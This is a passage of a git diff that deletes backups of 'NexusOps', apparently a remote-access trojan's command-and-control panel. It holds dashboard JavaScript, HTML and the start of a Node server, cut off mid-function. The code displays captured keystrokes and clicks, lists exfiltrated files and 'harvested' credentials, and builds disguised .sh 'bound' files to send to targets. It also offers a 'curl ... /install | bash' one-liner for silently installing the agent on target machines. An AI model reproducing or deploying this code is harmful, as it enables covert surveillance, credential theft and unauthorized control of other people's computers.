error: 'fa-circle-exclamation' }; - el.innerHTML = '' + escapeHtml(msg) + ''; - stack.appendChild(el); - setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000); -} - -// NexusOps Dashboard Application Logic - -let nodesData = []; -let commandHistory = []; -let masterSystemLogs = []; -let inputData = []; -let currentFilter = 'all'; -let currentView = 'grid'; -let serverIp = window.location.hostname; -let serverPort = window.location.port || '3000'; -let publicUrl = null; -let telemetryChart = null; - -document.addEventListener('DOMContentLoaded', () => { - initChart(); - updateServerEndpoint(); -}); - -function updateServerEndpoint() { - const endpoint = publicUrl || window.location.origin; - const placeholders = document.querySelectorAll('.server-url-placeholder'); - placeholders.forEach(el => el.textContent = endpoint); - document.getElementById('navServerEndpoint').textContent = endpoint; - const linkEl = document.getElementById('binaryDownloadLink'); - if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`; -} - -let _wsBackoff = 1000; -let _wsAttempts = 0; -let _wsHalted = false; - -function initWebSocket() { - if (_wsHalted) return; - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - let wsUrl = `${protocol}//${window.location.host}`; - if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken); - const ws = new WebSocket(wsUrl); - - ws.onopen = () => { - _wsBackoff = 1000; - _wsAttempts = 0; - document.getElementById('navConnectionStatus').textContent = 'Live Connected'; - document.querySelector('.status-indicator').classList.add('online'); - }; - - ws.onmessage = (event) => { - try { - const data = JSON.parse(event.data); - if (data.type === 'NODES_UPDATE') { - serverIp = data.serverIp || serverIp; - serverPort = data.port || serverPort; - publicUrl = data.publicUrl || publicUrl; - updateServerEndpoint(); - - nodesData = data.nodes || []; - commandHistory = data.commandHistory || []; - masterSystemLogs = data.masterSystemLogs || []; - inputData = data.inputData || []; - renderDashboard(); - } - } catch (e) { - console.error("Error parsing WebSocket payload:", e); - } - }; - - ws.onclose = (ev) => { - document.querySelector('.status-indicator').classList.remove('online'); - if (ev.code === 4401) { - _wsHalted = true; - document.getElementById('navConnectionStatus').textContent = 'Auth Required'; - showAuthGate(); - return; - } - _wsAttempts++; - document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`; - const jitter = Math.random() * 500; - setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000)); - _wsBackoff = Math.min(_wsBackoff * 2, 30000); - }; -} - - -function renderDashboard() { - renderOverviewStats(); - renderNodesGrid(); - renderAuditLogs(); - renderMasterSyslogs(); - renderIntelLog(); - checkForNewNodes(); - updateChartData(); -} - -function renderOverviewStats() { - const total = nodesData.length; - const online = nodesData.filter(n => n.status === 'online').length; - const offline = total - online; - - let avgCpu = 0; - if (online > 0) { - const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0); - avgCpu = Math.round(sumCpu / online); - } - - document.getElementById('statTotalNodes').textContent = total; - document.getElementById('statOnlineNodes').textContent = online; - document.getElementById('statOfflineNodes').textContent = offline; - document.getElementById('statAvgCpu').textContent = `${avgCpu}%`; -} - -function renderNodesGrid() { - const container = document.getElementById('nodesGrid'); - const search = document.getElementById('searchInput').value.toLowerCase(); - - if (!nodesData.length) { - container.innerHTML = renderEmptyHero(); - if (window.QRCode && endpoint) { /* QR handled below */ } - return; - } - let filtered = nodesData.filter(node => { - const matchesFilter = currentFilter === 'all' || node.status === currentFilter; - const matchesSearch = !search || - node.hostname.toLowerCase().includes(search) || - node.ip.toLowerCase().includes(search) || - node.platform.toLowerCase().includes(search) || - node.id.toLowerCase().includes(search); - return matchesFilter && matchesSearch; - }); - - if (filtered.length === 0) { - container.innerHTML = ` -
- -

No Connected Agents Found

-

No computers match your filter. Download the agent installer to link machines.

- -
- `; - return; - } - - container.innerHTML = filtered.map(node => { - const isOnline = node.status === 'online'; - const osIcon = getOsIcon(node.platform); - - return ` -
-
-
-
- -
-
-

${escapeHtml(node.hostname)}

- ${node.ip} • ${node.osName || node.platform} -
-
- - - ${isOnline ? 'Online' : 'Offline'} - -
- -
-
-
- CPU Usage - ${node.cpuUsage}% -
-
-
-
-
- -
-
- Memory - ${node.memUsage}% -
-
-
-
-
- -
-
- Disk Space - ${node.diskUsage}% -
-
-
-
-
-
- - -
- `; - }).join(''); -} - -function renderAuditLogs() { - const container = document.getElementById('auditLogContent'); - document.getElementById('logCount').textContent = `${commandHistory.length} events`; - - if (commandHistory.length === 0) { - container.innerHTML = `
[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`; - return; - } - - container.innerHTML = commandHistory.map(item => { - let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system'; - return ` -
- [${new Date(item.createdAt).toLocaleTimeString()}] ${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()} - ${item.output ? `
${escapeHtml(item.output.trim())}
` : ''} -
- `; - }).join(''); - container.scrollTop = container.scrollHeight; -} - -function renderMasterSyslogs() { - const container = document.getElementById('syslogStreamContent'); - if (!container) return; - - const countEl = document.getElementById('syslogCount'); - const searchInput = document.getElementById('logSearchInput'); - const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; - - let filtered = masterSystemLogs; - if (query) { - filtered = masterSystemLogs.filter(l => - l.hostname.toLowerCase().includes(query) || - l.entry.toLowerCase().includes(query) - ); - } - - if (countEl) countEl.textContent = `${filtered.length} entries`; - - if (filtered.length === 0) { - container.innerHTML = `
[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`; - return; - } - - container.innerHTML = filtered.map(log => { - let logText = escapeHtml(log.entry); - let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail'); - let isWarn = logText.toLowerCase().includes('warn'); - let logClass = isError ? 'error' : isWarn ? 'system' : 'success'; - - return ` -
- [${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)}: ${logText} -
- `; - }).join(''); - container.scrollTop = container.scrollHeight; -} - -function initChart() { - const ctx = document.getElementById('telemetryChart').getContext('2d'); - telemetryChart = new Chart(ctx, { - type: 'line', - data: { - labels: [], - datasets: [ - { - label: 'Avg CPU Load (%)', - borderColor: '#06b6d4', - backgroundColor: 'rgba(6, 182, 212, 0.1)', - fill: true, - data: [], - tension: 0.4 - }, - { - label: 'Avg RAM Load (%)', - borderColor: '#8b5cf6', - backgroundColor: 'rgba(139, 92, 246, 0.1)', - fill: true, - data: [], - tension: 0.4 - } - ] - }, - options: { - responsive: true, - maintainAspectRatio: false, - scales: { - x: { - grid: { color: 'rgba(255, 255, 255, 0.05)' }, - ticks: { color: '#9ca3af' } - }, - y: { - min: 0, - max: 100, - grid: { color: 'rgba(255, 255, 255, 0.05)' }, - ticks: { color: '#9ca3af' } - } - }, - plugins: { - legend: { labels: { color: '#f3f4f6' } } - } - } - }); -} - -function updateChartData() { - if (!telemetryChart) return; - const timeStr = new Date().toLocaleTimeString(); - - const onlineNodes = nodesData.filter(n => n.status === 'online'); - const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0; - const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0; - - telemetryChart.data.labels.push(timeStr); - telemetryChart.data.datasets[0].data.push(Math.round(avgCpu)); - telemetryChart.data.datasets[1].data.push(Math.round(avgMem)); - - if (telemetryChart.data.labels.length > 15) { - telemetryChart.data.labels.shift(); - telemetryChart.data.datasets[0].data.shift(); - telemetryChart.data.datasets[1].data.shift(); - } - telemetryChart.update(); -} - -function getOsIcon(platform) { - const p = (platform || '').toLowerCase(); - if (p.includes('win')) return 'fa-brands fa-windows'; - if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; - return 'fa-brands fa-linux'; -} - -function escapeHtml(str) { - return (str || '').replace(/&/g, "&").replace(//g, ">"); -} - -function formatTime(timestamp) { - if (!timestamp) return 'Never'; - const diff = Math.floor((Date.now() - timestamp) / 1000); - if (diff < 5) return 'Just now'; - if (diff < 60) return `${diff}s ago`; - return `${Math.floor(diff / 60)}m ago`; -} - -function setFilter(filter, el) { - currentFilter = filter; - document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active')); - el.classList.add('active'); - renderNodesGrid(); -} - -function filterNodes() { - renderNodesGrid(); -} - -function switchView(view, el) { - currentView = view; - document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active')); - el.classList.add('active'); - renderNodesGrid(); -} - -function openInstallerModal() { - updateServerEndpoint(); - document.getElementById('installerModal').classList.add('active'); -} - -function closeInstallerModal() { - document.getElementById('installerModal').classList.remove('active'); -} - -function switchTab(tabName, evt) { - document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active')); - document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active')); - - (evt || event).currentTarget.classList.add('active'); - document.getElementById(`tab-${tabName}`).classList.add('active'); -} - -function switchControlTab(tabName, btnEl) { - document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active')); - document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none'); - - btnEl.classList.add('active'); - document.getElementById(`ctrl-${tabName}`).style.display = 'block'; -} - -function copyCode(elementId, btn) { - const text = document.getElementById(elementId).innerText; - navigator.clipboard.writeText(text).then(() => { - const original = btn.innerHTML; - btn.innerHTML = ` Copied!`; - btn.style.background = 'var(--accent-emerald)'; - setTimeout(() => { - btn.innerHTML = original; - btn.style.background = ''; - }, 2000); - }); -} - -function openCommandModal(nodeId, hostname) { - document.getElementById('cmdModalNodeId').value = nodeId; - document.getElementById('cmdModalHostname').textContent = hostname; - document.getElementById('cmdInput').value = ''; - document.getElementById('commandModal').classList.add('active'); -} - -function closeCommandModal() { - document.getElementById('commandModal').classList.remove('active'); -} - -function setQuickCmd(cmd) { - document.getElementById('cmdInput').value = cmd; -} - -function submitNodeAction(actionType, extraPayload = {}) { - const nodeId = document.getElementById('cmdModalNodeId').value; - let payload = { ...extraPayload }; - - if (actionType === 'raw_command') { - const command = document.getElementById('cmdInput').value.trim(); - if (!command) return; - payload.command = command; - } - - fetch(`/api/nodes/${nodeId}/command`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ actionType, payload, command: payload.command }) - }) - .then(res => res.json()) - .then(data => { - if (data.success) { - closeCommandModal(); - } - }); -} - -function submitServiceAction(action) { - const service = document.getElementById('serviceNameInput').value.trim(); - if (!service) return alert("Please enter a service name (e.g. nginx)"); - submitNodeAction('manage_service', { service, action }); -} - -function submitKillProcess() { - const pid = document.getElementById('killPidInput').value; - if (!pid) return alert("Please enter a valid PID"); - submitNodeAction('kill_process', { pid }); -} - -function openBulkModal() { - document.getElementById('bulkModal').classList.add('active'); -} - -function closeBulkModal() { - document.getElementById('bulkModal').classList.remove('active'); -} - -function submitBulkCommand() { - const command = document.getElementById('bulkCmdInput').value.trim(); - if (!command) return; - - fetch('/api/nodes/bulk-command', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } }) - }) - .then(res => res.json()) - .then(data => { - if (data.success) { - closeBulkModal(); - alert(`Task broadcasted to ${data.count} online network nodes!`); - } else { - alert(data.error || "Failed to dispatch bulk command"); - } - }); -} - -function submitTagUpdate() { - const tags = document.getElementById('tagInput').value.trim(); - if (!tags) return alert("Please enter at least one tag"); - submitNodeAction('update_tags', { tags }); -} - -function submitHeartbeatRate() { - const interval = document.getElementById('heartbeatInput').value; - if (!interval) return alert("Please enter a valid interval in seconds"); - submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) }); -} - -function submitSystemReboot() { - if (confirm("⚠️ Are you sure you want to reboot this target machine?")) { - submitNodeAction('reboot_system'); - } -} - -function deleteNode(nodeId) { - if (confirm("Are you sure you want to unregister this node?")) { - fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' }); - } -} - -// ── Master Intelligence Log Rendering ── - -function renderIntelLog() { - const container = document.getElementById('intelLogContent'); - if (!container) return; - - const nodeFilter = document.getElementById('intelNodeFilter'); - const typeFilter = document.getElementById('intelTypeFilter'); - const searchInput = document.getElementById('intelSearchInput'); - - // Populate node filter dropdown dynamically - if (nodeFilter) { - const currentVal = nodeFilter.value; - nodeFilter.innerHTML = ''; - nodesData.forEach(n => { - const sel = n.id === currentVal ? ' selected' : ''; - nodeFilter.innerHTML += ``; - }); - } - - const selNodeId = nodeFilter ? nodeFilter.value : 'all'; - const selType = typeFilter ? typeFilter.value : 'all'; - const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; - - // Show machine details when a specific node is selected - renderMachineDetails(selNodeId); - - // Filter input data - let filtered = inputData; - if (selNodeId !== 'all') { - filtered = filtered.filter(e => e.nodeId === selNodeId); - } - if (selType !== 'all') { - filtered = filtered.filter(e => e.eventType === selType); - } - if (query) { - filtered = filtered.filter(e => { - const dataStr = JSON.stringify(e.data || '').toLowerCase(); - return dataStr.includes(query) || - (e.windowTitle || '').toLowerCase().includes(query) || - (e.hostname || '').toLowerCase().includes(query); - }); - } - - const countEl = document.getElementById('intelCount'); - if (countEl) countEl.textContent = `${filtered.length} events`; - - if (filtered.length === 0) { - container.innerHTML = '
[INTEL] No captured input events. Waiting for agent keystroke/click data...
'; - return; - } - - container.innerHTML = filtered.map(ev => { - const timeStr = new Date(ev.timestamp).toLocaleTimeString(); - const hostStr = escapeHtml(ev.hostname || 'Unknown'); - let icon, cssClass, detailStr; - - switch (ev.eventType) { - case 'keystroke': - icon = ''; - cssClass = 'log-entry intel-keystroke'; - detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')}`; - break; - case 'click': - icon = ''; - cssClass = 'log-entry intel-click'; - detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`; - break; - case 'scroll': - icon = ''; - cssClass = 'log-entry intel-scroll'; - detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`; - break; - default: - icon = ''; - cssClass = 'log-entry'; - detailStr = escapeHtml(JSON.stringify(ev.data || {})); - } - - const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}]` : ''; - - return `
- [${timeStr}] - ${icon} - ${hostStr} - ${detailStr}${winStr} -
`; - }).join(''); - container.scrollTop = container.scrollHeight; -} - -function renderMachineDetails(nodeId) { - const bar = document.getElementById('machineDetailsBar'); - if (!bar) return; - - if (nodeId === 'all') { - const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))]; - if (machinesWithInput.length === 0) { - bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below.'; - } else { - bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.`; - } - return; - } - - const node = nodesData.find(n => n.id === nodeId); - if (!node) { - bar.innerHTML = 'Machine details unavailable.'; - return; - } - - const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)'; - const osIcon = getOsIcon(node.platform); - - bar.innerHTML = ` -
${escapeHtml(node.hostname)}
-
${escapeHtml(node.ip)}
-
${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
-
CPU: ${node.cpuUsage}%
-
MEM: ${node.memUsage}%
-
DISK: ${node.diskUsage}%
-
${formatUptime(node.uptime)}
-
${node.status.toUpperCase()}
- `; -} - -function formatUptime(seconds) { - if (!seconds || seconds <= 0) return 'N/A'; - const d = Math.floor(seconds / 86400); - const h = Math.floor((seconds % 86400) / 3600); - const m = Math.floor((seconds % 3600) / 60); - if (d > 0) return `${d}d ${h}h`; - if (h > 0) return `${h}h ${m}m`; - return `${m}m`; -} - -// ── File Binder ── - -let binderFile = null; - -function openBinderModal() { - updateServerEndpoint(); - document.getElementById('binderModal').classList.add('active'); - resetBinder(); -} - -function closeBinderModal() { - document.getElementById('binderModal').classList.remove('active'); - resetBinder(); -} - -function resetBinder() { - binderFile = null; - document.getElementById('binderFileInput').value = ''; - document.getElementById('binderFileName').innerHTML = 'Click or drag any file here'; - document.getElementById('binderDropzone').classList.remove('has-file'); - document.getElementById('binderSubmitBtn').disabled = true; - document.getElementById('binderStatus').style.display = 'none'; -} - -function handleBinderFile(input) { - if (input.files && input.files[0]) { - binderFile = input.files[0]; - document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB)`; - document.getElementById('binderDropzone').classList.add('has-file'); - document.getElementById('binderSubmitBtn').disabled = false; - } -} - -async function submitBinder() { - if (!binderFile) return; - - const btn = document.getElementById('binderSubmitBtn'); - const status = document.getElementById('binderStatus'); - btn.disabled = true; - btn.innerHTML = ' Binding...'; - status.style.display = 'block'; - status.className = ''; - status.textContent = 'Processing file...'; - - const formData = new FormData(); - formData.append('file', binderFile); - - try { - const format = document.getElementById("binderFormat").value; - const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData }); - if (!resp.ok) { - const err = await resp.json().catch(() => ({ error: 'Server error' })); - throw new Error(err.error || `HTTP ${resp.status}`); - } - - const blob = await resp.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = binderFile.name + '.sh'; - document.body.appendChild(a); - a.click(); - document.body.removeChild(a); - URL.revokeObjectURL(url); - - status.className = 'success'; - status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`; - } catch (e) { - status.className = 'error'; - status.textContent = `❌ ${e.message}`; - } - - btn.disabled = false; - btn.innerHTML = ' Bind & Download'; -} - -// ── Kill Switch ── -function killSwitch() { - if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return; - fetch('/api/nodes/killswitch', { method: 'POST' }) - .then(r => r.json()) - .then(d => { - if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`); - else alert(d.error || 'No nodes to kill.'); - }); -} - -// ── Ping Node ── -function pingNode(nodeId, hostname) { - fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' }) - .then(r => r.json()) - .then(d => { - if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`); - }); -} - -// ── New Node Sound & Notification ── -let knownNodeIds = new Set(); -function checkForNewNodes() { - nodesData.forEach(node => { - if (!knownNodeIds.has(node.id) && node.status === 'online') { - knownNodeIds.add(node.id); - // Browser notification - if (Notification.permission === 'granted') { - new Notification('🖥️ New Agent Connected', { - body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`, - icon: '/favicon.ico' - }); - } - // Audio ping - try { - const ctx = new (window.AudioContext || window.webkitAudioContext)(); - const osc = ctx.createOscillator(); - const gain = ctx.createGain(); - osc.connect(gain); gain.connect(ctx.destination); - osc.frequency.setValueAtTime(880, ctx.currentTime); - osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1); - gain.gain.setValueAtTime(0.3, ctx.currentTime); - gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3); - osc.start(ctx.currentTime); - osc.stop(ctx.currentTime + 0.3); - } catch(e) {} - } - }); - // Also mark offline nodes - nodesData.forEach(node => knownNodeIds.add(node.id)); -} - -// Request notification permission on first interaction -document.addEventListener('click', () => { - if (Notification.permission === 'default') Notification.requestPermission(); -}, { once: true }); - - -// ── Loot viewer ── -let lootFiles = []; -let lootCreds = []; -let lootObjectUrls = {}; -let _lootSeenFiles = new Set(); -let _lootSeenCreds = new Set(); -let _lootFirstPoll = true; - -function switchLootTab(tab) { - document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files'); - document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds'); - document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none'; - document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none'; -} - -function humanSize(b) { - if (!b && b !== 0) return '?'; - if (b < 1024) return b + ' B'; - if (b < 1048576) return (b/1024).toFixed(1) + ' KB'; - return (b/1048576).toFixed(1) + ' MB'; -} - -function relTime(ts) { - const s = Math.floor((Date.now() - ts) / 1000); - if (s < 60) return s + 's ago'; - if (s < 3600) return Math.floor(s/60) + 'm ago'; - if (s < 86400) return Math.floor(s/3600) + 'h ago'; - return Math.floor(s/86400) + 'd ago'; -} - -async function pollLoot() { - try { - const [fr, cr] = await Promise.all([ - fetch('/api/files').then(r => r.ok ? r.json() : []), - fetch('/api/credentials').then(r => r.ok ? r.json() : []) - ]); - // Toasts on new arrivals (skip first poll) - if (!_lootFirstPoll) { - fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } }); - cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } }); - } else { - fr.forEach(f => _lootSeenFiles.add(f.id)); - cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp)); - _lootFirstPoll = false; - } - lootFiles = fr; - lootCreds = cr; - renderLoot(); - } catch(e) { /* offline tolerance */ } -} - -function renderLoot() { - document.getElementById('lootFilesCount').textContent = lootFiles.length; - document.getElementById('lootCredsCount').textContent = lootCreds.length; - - // Files - const fp = document.getElementById('lootFilesPanel'); - if (!lootFiles.length) { - fp.innerHTML = '
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
'; - } else { - fp.innerHTML = '' + - lootFiles.slice().reverse().map(f => { - const isImg = (f.mime || '').startsWith('image/'); - const thumbId = 'thumb-' + f.id; - if (isImg && !lootObjectUrls[f.id]) { - fetch('/api/files/' + f.id).then(r => r.blob()).then(b => { - lootObjectUrls[f.id] = URL.createObjectURL(b); - const el = document.getElementById(thumbId); - if (el) el.src = lootObjectUrls[f.id]; - }).catch(() => {}); - } - return '' + - '' + - '' + - '' + - '' + - '' + - '' + - ''; - }).join('') + '
FileNodeSizeWhen
' + (isImg - ? 'img' - : '') + '' + escapeHtml(f.filename) + '
' + escapeHtml(f.mime || '') + '
' + escapeHtml(f.hostname || f.nodeId || '?') + '' + humanSize(f.size) + '' + relTime(f.timestamp) + '
'; - } - - // Credentials - const cp = document.getElementById('lootCredsPanel'); - if (!lootCreds.length) { - cp.innerHTML = '
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
'; - } else { - const groups = {}; - lootCreds.forEach((c, i) => { - const key = (c.hostname || c.nodeId || 'unknown'); - groups[key] = groups[key] || []; - groups[key].push(Object.assign({ _idx: i }, c)); - }); - cp.innerHTML = Object.entries(groups).map(([host, items]) => - '
' + escapeHtml(host) + ' ' + items.length + '
' + - items.map(c => { - const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data); - const cid = 'cred-' + c._idx; - return '
' + - '' + escapeHtml(c.type || 'unknown') + '' + - '••••••••••' + - '' + relTime(c.timestamp) + '' + - '' + - '' + - '
'; - }).join('') + '
' - ).join(''); - } -} - -function toggleCredReveal(cid, btn) { - const el = document.getElementById(cid); - if (el.dataset.masked === '1') { - el.textContent = btn.dataset.raw; - el.dataset.masked = '0'; - btn.innerHTML = ''; - } else { - el.textContent = '••••••••••'; - el.dataset.masked = '1'; - btn.innerHTML = ''; - } -} - -function lootCopy(btn) { - navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success')); -} - -function openLootLightbox(id) { - const lb = document.getElementById('lootLightbox'); - const img = document.getElementById('lootLightboxImg'); - if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; } -} -function closeLootLightbox() { - document.getElementById('lootLightbox').style.display = 'none'; -} - -function lootDownload(id, filename) { - fetch('/api/files/' + id).then(r => r.blob()).then(b => { - const url = URL.createObjectURL(b); - const a = document.createElement('a'); - a.href = url; - a.download = filename; - document.body.appendChild(a); - a.click(); - document.body.removeChild(a); - setTimeout(() => URL.revokeObjectURL(url), 60000); - }).catch(() => toast('Download failed', 'error')); -} - -// ── Empty state hero ── -function renderEmptyHero() { - const endpoint = publicUrl || window.location.origin; - const cmd = `curl -sSL ${endpoint}/install | bash`; - return '
' + - '' + - '

No Nodes Deployed Yet

' + - '

Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.

' + - '
' + escapeHtml(cmd) + '' + - '
' + - '
' + - '

or click Deploy Agent above for platform-specific installers

' + - '
'; -} - -// ── Boot ── -let _booted = false; -function bootApp() { - if (_booted) return; - _booted = true; - initWebSocket(); - pollLoot(); - setInterval(pollLoot, 15000); -} - -document.addEventListener('DOMContentLoaded', async () => { - const open = await probeAuth(); - if (open) bootApp(); - document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken); - document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); }); -}); diff --git a/backups/20260923/index.html b/backups/20260923/index.html deleted file mode 100644 index 05ba944..0000000 --- a/backups/20260923/index.html +++ /dev/null @@ -1,544 +0,0 @@ - - - - - - NexusOps — Central Network Node Operations - - - - - - - - - - - - - -
-
-
- -
-
-

NexusOps

- Node Control & Telemetry Operations -
-
- - - -
- - Nodes CSV - - - Inputs CSV - - - - - -
-
- - -
- - -
-
-
-
- Total Nodes -

0

-
-
- -
-
-
- Online Nodes -

0

-
-
- -
-
-
- Offline / Stale -

0

-
-
- -
-
-
- Avg Network CPU -

0%

-
-
-
- - -
- - -
- - - -
- -
- - -
-
- - -
-
- -

Waiting for Agents to Connect...

-

No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.

- -
-
- - -
-
-

Real-time Aggregate System Telemetry

- Live Stream -
-
- -
-
- - -
-
-

Task & Control Execution Log

- 0 events -
-
-
-
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
-
-
-
- - -
-
-

Master Centralized System & Audit Log Stream

-
- - 0 entries -
-
-
-
-
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
-
-
-
- - -
-
-

Master Intelligence Log — Input Capture & Machine Telemetry

-
- - - - 0 events -
-
- -
- Select a machine above to view its details here... -
-
-
-
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
-
-
-
- - -
-
-

Loot — Exfiltrated Files & Harvested Credentials

-
- - -
-
-
-
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
-
- -
- -
- - - - - - - - - - - - - -
☕ Support This Project — Buy Me a Coffee
- - - -
- - - - - - - - diff --git a/backups/20260923/server.js b/backups/20260923/server.js deleted file mode 100644 index 7af4da6..0000000 --- a/backups/20260923/server.js +++ /dev/null @@ -1,963 +0,0 @@ -const express = require('express'); -const http = require('http'); -const WebSocket = require('ws'); -const path = require('path'); -const cors = require('cors'); -const os = require('os'); -const multer = require('multer'); -const fs = require('fs'); - -const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); - -const app = express(); -const server = http.createServer(app); -const wss = new WebSocket.Server({ server }); - -const PORT = process.env.PORT || 3000; -const PUBLIC_URL = process.env.PUBLIC_URL || null; -const DATA_DIR = path.join(__dirname, 'data'); - -// Ensure data directory exists -if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true }); - -app.use(cors()); -app.use(express.json({ limit: '50mb' })); -app.use(express.static(path.join(__dirname, 'public'))); - -// ── Auth ── -const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; -if (!AUTH_TOKEN) { - console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); -} -const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; -function authMiddleware(req, res, next) { - if (!AUTH_TOKEN) return next(); - if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); - const h = req.headers.authorization || ''; - if (h === 'Bearer ' + AUTH_TOKEN) return next(); - if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); - return res.status(401).json({ error: 'unauthorized' }); -} -app.use(authMiddleware); -app.get('/api/auth/check', (req, res) => { - if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); - res.json({ ok: true, authRequired: true }); -}); - - - -function getLocalIp() { - const interfaces = os.networkInterfaces(); - for (const name of Object.keys(interfaces)) { - for (const net of interfaces[name]) { - if (net.family === 'IPv4' && !net.internal) { - return net.address; - } - } - } - return 'localhost'; -} - -const SERVER_IP = getLocalIp(); - -const nodes = new Map(); -const commandQueues = new Map(); -const commandHistory = []; -const masterSystemLogs = []; -const inputDataStore = []; -const MAX_INPUT_STORE = 500; -const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp } -const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } - -// ── Persistence ── -let _saveLock = false; -function _atomicWrite(file, data) { - const tmp = file + '.tmp'; - fs.writeFileSync(tmp, data); - fs.renameSync(tmp, file); -} -function saveData() { - if (_saveLock) return; - _saveLock = true; - try { - _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); - _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); - _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); - _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); - _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); - } catch(e) { /* silent */ } finally { - _saveLock = false; - } -} - -function loadData() { - try { - const nd = 